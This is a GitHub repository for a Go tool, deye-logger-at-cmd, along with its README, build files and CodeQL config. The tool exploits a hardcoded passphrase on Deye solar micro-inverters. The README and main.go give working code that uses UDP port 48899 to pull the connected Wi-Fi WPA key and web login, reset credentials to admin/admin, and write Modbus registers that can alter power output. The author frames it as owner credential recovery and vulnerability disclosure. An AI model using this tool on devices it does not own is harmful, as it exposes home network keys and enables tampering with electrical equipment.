├── .gitignore ├── go.mod ├── Makefile ├── .github ├── dependabot.yml └── workflows │ └── codeql.yml ├── README.md └── src └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/s10l/deye-logger-at-cmd 2 | 3 | go 1.18 4 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | default: build 2 | 3 | all: build 4 | 5 | build: clean 6 | @cd src && go build -o ../build/main 7 | 8 | 9 | clean: 10 | @rm -rf ./build 11 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | # To get started with Dependabot version updates, you'll need to specify which 2 | # package ecosystems to update and where the package manifests are located. 3 | # Please see the documentation for all configuration options: 4 | # https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates 5 | 6 | version: 2 7 | updates: 8 | - package-ecosystem: "gomod" # See documentation for possible values 9 | directory: "/" # Location of package manifests 10 | schedule: 11 | interval: "weekly" 12 | -------------------------------------------------------------------------------- /.github/workflows/codeql.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ "main" ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ "main" ] 20 | schedule: 21 | - cron: '31 6 * * 6' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | permissions: 28 | actions: read 29 | contents: read 30 | security-events: write 31 | 32 | strategy: 33 | fail-fast: false 34 | matrix: 35 | language: [ 'go' ] 36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] 37 | # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support 38 | 39 | steps: 40 | - name: Checkout repository 41 | uses: actions/checkout@v3 42 | 43 | # Initializes the CodeQL tools for scanning. 44 | - name: Initialize CodeQL 45 | uses: github/codeql-action/init@v2 46 | with: 47 | languages: ${{ matrix.language }} 48 | # If you wish to specify custom queries, you can do so here or in a config file. 49 | # By default, queries listed here will override any specified in a config file. 50 | # Prefix the list here with "+" to use these queries and those in the config file. 51 | 52 | # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs 53 | # queries: security-extended,security-and-quality 54 | 55 | 56 | # Autobuild attempts to build any compiled languages (C/C++, C#, Go, or Java). 57 | # If this step fails, then you should remove it and run the build manually (see below) 58 | - name: Autobuild 59 | uses: github/codeql-action/autobuild@v2 60 | 61 | # ℹ️ Command-line programs to run using the OS shell. 62 | # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun 63 | 64 | # If the Autobuild fails above, remove it and uncomment the following three lines. 65 | # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. 66 | 67 | # - run: | 68 | # echo "Run, Build Application using script" 69 | # ./location_of_script_within_repo/buildscript.sh 70 | 71 | - name: Perform CodeQL Analysis 72 | uses: github/codeql-action/analyze@v2 73 | with: 74 | category: "/language:${{matrix.language}}" 75 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # deye-logger-at-cmd 2 | 3 | ## Credentials lost? 4 | Have you forgotten your credentials and want to reset them? You've come to the right place. 5 | 6 | Only use this tool for devices you own! 7 | 8 | - Download release from https://github.com/s10l/deye-logger-at-cmd/releases 9 | - Open a terminal window and browse to downloaded file 10 | - Run the command below, but change the ip to the ip of the inverter 11 | `main -t 192.168.0.20:48899 -xat AT+WEBU=admin,admin` 12 | - Try to login with username: **admin** and password: **admin** 13 | - Voila, but rember to do this only with devices you own! 14 | 15 | ## Updates 16 | > Update 2023-02-13: Got feedback from users that Deye is now rolling out the update automatically. Please make sure that your device is registered in Solarman or update it manually (offline). 17 | 18 | > Update 2023-01-11: Please send a request to Deye to update your inverter firmware at least to 1.53. After the update you where able to change WiFi mode and credentials. 19 | 20 | Deye based micro inverters use a built-in WLAN module for quick configuration. 21 | 22 | The WLAN module works in AP+STA mode, i.e. it starts an access point and is able to connect to another access point at the same time. 23 | 24 | Unfortunately, after configuration, neither the inverter's own access point can be disabled, nor can the default password of `12345678` be changed. 25 | 26 | So the hurdle to connect to the inverter's own access point is very low. 27 | 28 | In addition to the web based configuration, which can be protected by username and password, it is possible to configure the micro inverter via AT commands on port `48899`. For this purpose, a fixed passphrase `WIFIKIT-214028-READ` is used which in principle cannot be changed since it is already used in iOS and Android apps of the ?manufacturer?. 29 | 30 | On the one hand, it is possible to access the inverter, i.e. to enter the operator's own WLAN network. 31 | 32 | ### TL;DR 33 | This tool reads settings for WLAN (incl. connected SSID and WPA key) as well as web login credentials from the logger. 34 | 35 | ## Supported Devices 36 | 37 | Currently, the deye microinverters are affected by this. Also known under other brands like Bosswerk or Turbo Energy. If your device is also affected, please let me know. 38 | 39 | ## Dependencies 40 | 41 | - Golang is required to build 42 | 43 | ## Usage 44 | 45 | Simply type `main` to print the help 46 | 47 | `main` 48 | 49 | To read out the settings please type the following 50 | 51 | `main -t :48899` 52 | 53 | If you are interested in what is happening here, you can get the communication output 54 | 55 | `main -t :48899 -xv` 56 | 57 | Example output 58 | 59 | ``` 60 | 2022/11/01 10:08:25 * Connecting :0 -> :48899... 61 | 2022/11/01 10:08:25 > WIFIKIT-214028-READ 62 | 2022/11/01 10:08:26 < ,, 63 | 2022/11/01 10:08:26 > +ok 64 | 2022/11/01 10:08:27 > AT+WAP 65 | 2022/11/01 10:08:28 < +ok=11BGN,AP_,CH1 66 | 2022/11/01 10:08:28 > AT+WAKEY 67 | 2022/11/01 10:08:29 < +ok=WPA2PSK,AES,12345678 68 | 2022/11/01 10:08:29 > AT+WSSSID 69 | 2022/11/01 10:08:30 < +ok= 70 | 2022/11/01 10:08:30 > AT+WSKEY 71 | 2022/11/01 10:08:31 < +ok=WPA2PSK,AES, 72 | 2022/11/01 10:08:31 > AT+WANN 73 | 2022/11/01 10:08:32 < +ok=DHCP,,, 74 | 2022/11/01 10:08:32 > AT+WEBU 75 | 2022/11/01 10:08:33 < +ok=, 76 | 2022/11/01 10:08:33 > AT+Q 77 | 2022/11/01 10:08:34 AP settings 78 | 2022/11/01 10:08:34 Mode, SSID and Chanel: 11BGN,AP_AP_,CH1 79 | 2022/11/01 10:08:34 Encryption: WPA2PSK,AES,12345678 80 | 2022/11/01 10:08:34 Station settings 81 | 2022/11/01 10:08:34 SSID: 82 | 2022/11/01 10:08:34 Key: WPA2PSK,AES, 83 | 2022/11/01 10:08:34 IP: DHCP,,, 84 | 2022/11/01 10:08:34 Web settings 85 | 2022/11/01 10:08:34 Login: , 86 | ``` 87 | 88 | ### Sending AT-Commands 89 | 90 | `main -t :48899 -xat ` 91 | 92 | Example 93 | ``` 94 | main -t :48899 -xat AT+WEBVER 95 | 2022/11/11 12:37:51 * Connecting :0 -> :48899... 96 | 2022/11/11 12:37:54 +ok=V1.0.24 97 | ``` 98 | 99 | ### Sending ModBus read command 100 | 101 | `main -t :48899 -xmb ` 102 | 103 | So with a start register address of 0012 and a length of 0001 only one register is read. 104 | 105 | ``` 106 | main -t :48899 -xmb 00120001 107 | 2022/11/11 12:39:26 * Connecting :0 -> :48899... 108 | 2022/11/11 12:39:29 +ok=01030204017B44 109 | ``` 110 | 111 | Explanation 112 | ``` 113 | 01 is the slave id 114 | 03 is the function code (read) 115 | 02 is the length of the payload (2 bytes) 116 | 0401 is the playload, i that case 04 is the number of MPPT and 01 is number of ac phases (you need to know how to interpret the register.) 117 | 7B44 is the crc16 118 | ``` 119 | 120 | ### Sending ModBus write command 121 | 122 | > You may damage or destroy the device or other equipment and seriously injure or kill yourself or others. Be warned herewith. 123 | 124 | `main -t :48899 -xmbw ` 125 | 126 | ``` 127 | main -t :48899 -xmbw 00280001020064 128 | 2022/11/11 12:39:26 * Connecting :0 -> :48899... 129 | 2022/11/11 12:39:29 +ok=01100028000181C1 130 | ``` 131 | 132 | Explanation of -xmbw 133 | ``` 134 | 0028 is the start address (Active power regulation) 135 | 0001 is the number of registers (1) 136 | 02 is the length of the value (2 bytes) 137 | 0064 is the value (0x0064 -> 100) 138 | ``` 139 | 140 | ## Structure of commands 141 | 142 | ### Read commands 143 | 144 | ``` 145 | DATAGRAM := ATCMD + MODBUSLEN + SEPERATOR + MODBUSMSG + MODBUSCRC + NEWLINE 146 | ATCMD := AT+INVDATA= 147 | MODBUSLEN := len(MODBUSMSG + MODBUSCRC) 148 | MODBUSCRC := crc(MODBUSMSG) 149 | SEPERATOR := , 150 | MODBUSMSG := SLAVE + FCODE + STARTADDR + REGSIZE 151 | SLAVE := 01 152 | FCODE := 03 153 | STARTADDR := FFFF 154 | REGSIZE := 0001 155 | VALUELEN := len(VALUE) 156 | VALUE := 0000 157 | NEWLINE := \n 158 | ``` 159 | 160 | ### Write commands 161 | ``` 162 | DATAGRAM := ATCMD + MODBUSLEN + SEPERATOR + MODBUSMSG + MODBUSCRC + NEWLINE 163 | ATCMD := AT+INVDATA= 164 | MODBUSLEN := len(MODBUSMSG + MODBUSCRC) 165 | MODBUSCRC := crc(MODBUSMSG) 166 | SEPERATOR := , 167 | MODBUSMSG := SLAVE + FCODE + STARTADDR + REGSIZE + VALUELEN + VALUE 168 | SLAVE := 01 169 | FCODE := 10 170 | STARTADDR := FFFF 171 | REGSIZE := 0001 172 | VALUELEN := len(VALUE) 173 | VALUE := 0000 174 | NEWLINE := \n 175 | ``` 176 | -------------------------------------------------------------------------------- /src/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "encoding/binary" 6 | "encoding/hex" 7 | "flag" 8 | "fmt" 9 | "log" 10 | "net" 11 | "os" 12 | "strings" 13 | "time" 14 | ) 15 | 16 | type Handler func(conn *net.UDPConn) 17 | 18 | var ( 19 | fLogger = flag.String("t", "", "The IP and port of the loggers assistant endpoint [10.10.100.254:48899]") 20 | fSource = flag.String("xs", "", "Local source address") 21 | fWifiCfgCode = flag.String("xc", "WIFIKIT-214028-READ", "WiFi configuration code [WIFIKIT-214028-READ or HF-A11ASSISTHREAD]") 22 | fAtCmd = flag.String("xat", "", "Send AT command instead of credentials") 23 | fModBus = flag.String("xmb", "", "Send Modbus read register instead of credentials [00120001] -> Read register = 0x0012, length = 0x0001") 24 | fModBusW = flag.String("xmbw", "", "Send Modbus write register instead of credentials [00280001020064] -> Write register = 0x0028, length = 0x0001, value length = 0x02, value = 0x0064") 25 | fVerbose = flag.Bool("xv", false, "Outputs all communication with the logger") 26 | 27 | lAddress, rAddress *net.UDPAddr 28 | handler Handler = nil 29 | ) 30 | 31 | func init() { 32 | flag.Parse() 33 | 34 | var err error 35 | 36 | if *fSource == "" { 37 | lAddress = nil 38 | } 39 | 40 | if *fLogger == "" { 41 | flag.Usage() 42 | os.Exit(1) 43 | } 44 | 45 | lAddress, err = net.ResolveUDPAddr("udp4", *fSource) 46 | if err != nil { 47 | log.Fatal(err) 48 | } 49 | 50 | rAddress, err = net.ResolveUDPAddr("udp4", *fLogger) 51 | if err != nil { 52 | log.Fatal(err) 53 | } 54 | 55 | checkForArgConflicts := func() { 56 | if handler != nil { 57 | fmt.Println("You can't use xat, xmb or xmbw at the same time") 58 | fmt.Println() 59 | flag.Usage() 60 | os.Exit(1) 61 | } 62 | } 63 | 64 | if fAtCmd != nil && *fAtCmd != "" { 65 | handler = atCommandHandler 66 | } 67 | 68 | if fModBus != nil && *fModBus != "" { 69 | checkForArgConflicts() 70 | 71 | if len(*fModBus) != 8 { 72 | fmt.Println("xmb needs first register address and length") 73 | fmt.Println("First register 0x0012") 74 | fmt.Println("Length 0x0001") 75 | fmt.Println("-> 00120001") 76 | fmt.Println() 77 | flag.Usage() 78 | os.Exit(1) 79 | } 80 | handler = modBusReadHandler 81 | } 82 | 83 | if fModBusW != nil && *fModBusW != "" { 84 | checkForArgConflicts() 85 | 86 | if len(*fModBusW) < 14 { 87 | fmt.Println("xmbw needs first register address, length, value length, and value") 88 | fmt.Println("First register 0x0028") 89 | fmt.Println("Length 0x0001") 90 | fmt.Println("Value length 0x02") 91 | fmt.Println("Value 0x0064") 92 | fmt.Println("-> 00280001020064") 93 | fmt.Println() 94 | flag.Usage() 95 | os.Exit(1) 96 | } 97 | 98 | handler = modBusWriteHandler 99 | } 100 | 101 | if handler == nil { 102 | handler = credentialsHandler 103 | } 104 | } 105 | 106 | func send(conn net.Conn, message string, pause time.Duration, timeout time.Duration, response bool) *string { 107 | print(fmt.Sprintf("> %s", strings.TrimSpace(message))) 108 | _, err := fmt.Fprint(conn, message) 109 | 110 | if err != nil { 111 | log.Fatal(err) 112 | } 113 | 114 | time.Sleep(pause * time.Second) 115 | 116 | if response { 117 | response := receive(conn, timeout) 118 | return &response 119 | } 120 | 121 | return nil 122 | } 123 | 124 | func receive(conn net.Conn, timeout time.Duration) string { 125 | conn.SetReadDeadline(time.Now().Add(timeout * time.Second)) 126 | buf := make([]byte, 1500) 127 | l, err := bufio.NewReader(conn).Read(buf) 128 | 129 | if err != nil { 130 | log.Fatal(err) 131 | } 132 | 133 | buf = buf[:l] 134 | response := strings.TrimSpace(string(buf)) 135 | 136 | print(fmt.Sprintf("< %s", response)) 137 | 138 | return response 139 | } 140 | 141 | func removeAtOk(response string) string { 142 | return strings.Replace(response, "+ok=", "", 1) 143 | } 144 | 145 | func main() { 146 | log.Printf("* Connecting %s -> %s...", lAddress.String(), rAddress.String()) 147 | 148 | conn, err := net.DialUDP("udp", lAddress, rAddress) 149 | if err != nil { 150 | log.Fatal(err) 151 | } 152 | defer conn.Close() 153 | 154 | response := send(conn, *fWifiCfgCode, 1, 5, true) 155 | if response == nil { 156 | log.Fatal("Empty response from logger") 157 | } 158 | send(conn, "+ok", 1, 0, false) 159 | 160 | handler(conn) 161 | 162 | send(conn, "AT+Q\n", 1, 0, false) 163 | 164 | log.Println() 165 | } 166 | 167 | func atCommandHandler(conn *net.UDPConn) { 168 | response := send(conn, fmt.Sprintf("%s\n", *fAtCmd), 1, 5, true) 169 | log.Println(*response) 170 | } 171 | 172 | func modBusReadHandler(conn *net.UDPConn) { 173 | prefix := "0103" // Slave ID + Function 174 | cmd := fmt.Sprintf("%s%s", prefix, (*fModBus)) 175 | modBusHandler(conn, prefix, cmd) 176 | } 177 | 178 | func modBusWriteHandler(conn *net.UDPConn) { 179 | prefix := "0110" // Slave ID + Function 180 | cmd := fmt.Sprintf("%s%s", prefix, (*fModBusW)) 181 | modBusHandler(conn, prefix, cmd) 182 | } 183 | 184 | func modBusHandler(conn *net.UDPConn, prefix string, cmd string) { 185 | data, err := hex.DecodeString(cmd) 186 | if err != nil { 187 | log.Fatal(err) 188 | } 189 | crc := Modbus(data) 190 | msg := fmt.Sprintf("%s%s", cmd, hex.EncodeToString(crc)) 191 | msglen := len(msg) / 2 192 | 193 | tresponse := send(conn, fmt.Sprintf("AT+INVDATA=%d,%s\n", msglen, msg), 1, 5, true) 194 | 195 | response := strings.ReplaceAll(*tresponse, string([]byte{0x10}), "") 196 | log.Println(response) 197 | } 198 | 199 | func credentialsHandler(conn *net.UDPConn) { 200 | apSSID := send(conn, "AT+WAP\n", 1, 5, true) 201 | apEnc := send(conn, "AT+WAKEY\n", 1, 5, true) 202 | 203 | staSSID := send(conn, "AT+WSSSID\n", 1, 5, true) 204 | staKey := send(conn, "AT+WSKEY\n", 1, 5, true) 205 | staIP := send(conn, "AT+WANN\n", 1, 5, true) 206 | 207 | webUser := send(conn, "AT+WEBU\n", 1, 5, true) 208 | 209 | log.Println("AP settings") 210 | log.Printf("\tMode, SSID and Chanel: %s", removeAtOk(*apSSID)) 211 | log.Printf("\tEncryption: %s", removeAtOk(*apEnc)) 212 | log.Println("Station settings") 213 | log.Printf("\tSSID: %s", removeAtOk(*staSSID)) 214 | log.Printf("\tKey: %s", removeAtOk(*staKey)) 215 | log.Printf("\tIP: %s", removeAtOk(*staIP)) 216 | log.Println("Web settings") 217 | log.Printf("\tLogin: %s", removeAtOk(*webUser)) 218 | } 219 | 220 | func print(message string) { 221 | if *fVerbose { 222 | log.Println(message) 223 | } 224 | } 225 | 226 | // Modbus crc16 227 | const ( 228 | MODBUS uint16 = 0xA001 229 | ) 230 | 231 | func Modbus(data []byte) []byte { 232 | 233 | var crc uint16 = 0xFFFF 234 | 235 | for _, by := range data { 236 | crc = crc ^ uint16(by) 237 | for i := 0; i < 8; i = i + 1 { 238 | if crc&0x0001 == 0x0001 { 239 | crc = (crc >> 1) ^ MODBUS 240 | } else { 241 | crc = crc >> 1 242 | } 243 | } 244 | } 245 | 246 | bs := make([]byte, 2) 247 | binary.LittleEndian.PutUint16(bs, crc) 248 | 249 | return bs 250 | } 251 | --------------------------------------------------------------------------------